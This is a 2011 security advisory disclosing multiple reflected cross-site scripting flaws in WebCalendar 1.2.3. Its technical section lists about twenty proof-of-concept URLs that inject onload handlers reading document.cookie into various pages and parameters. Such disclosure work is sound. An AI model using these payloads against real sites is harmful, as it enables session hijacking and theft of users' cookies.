SSCHADV2011-008 - Multiple Cross-Site Scripting vulnerabilities in WebCalendar

Posted by on Saturday, July 2. 2011

Advisory:	Multiple Cross-Site Scripting vulnerabilities in WebCalendar
Advisory ID:	SSCHADV2011-008
Author:	Stefan Schurtz
Affected Software:	Version 1.2.3 and probably prior versions
Vendor URL:	http://www.k5n.us/webcalendar.php
Vendor Status:	informed
CVE-ID:	-

======================
Vulnerability Description:
======================

This is a Cross-Site Scripting vulnerability

==============
Technical Details:
==============

http://[target]/webapps/webcalendar/about/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/about/"><body onload=alert(‘XSS’)>

http://[target]/webapps/webcalendar/colors.php?color="><iframe onload=alert(document.cookie)>

http://[target]/webapps/webcalendar/datesel.php?form="><iframe onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/datesel.php?form=3&fday="><iframe onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601
http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth="><iframe onload=alert(document.cookie)>&fyear=3&date=20110601
http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear="><iframe onload=alert(document.cookie)>&date=20110601

http://[target]/webapps/webcalendar/year.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/select_user.php/"><body onload=alert(document.cookie)>

http://[target]/webapps/webcalendar/week.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/month.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/search_handler.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/day.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/datesel.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/edit_entry.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/search.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_edit_entry.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/catsel.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_index.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_docs.php/"><body onload=alert(document.cookie)>
http://[target]/webapps/webcalendar/help_bug.php/"><body onload=alert(document.cookie)>

=====
Solution:
=====

-

================
Disclosure Timeline:
================

02-Jul-2011 – informed developers
02-Jul-2011 – Release date of this security advisory
04-Jul-2001 – post on BugTraq

====
Credits:
====

Vulnerabilities found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.k5n.us/webcalendar.php
http://www.rul3z.de/advisories/SSCHADV2011-008.txt

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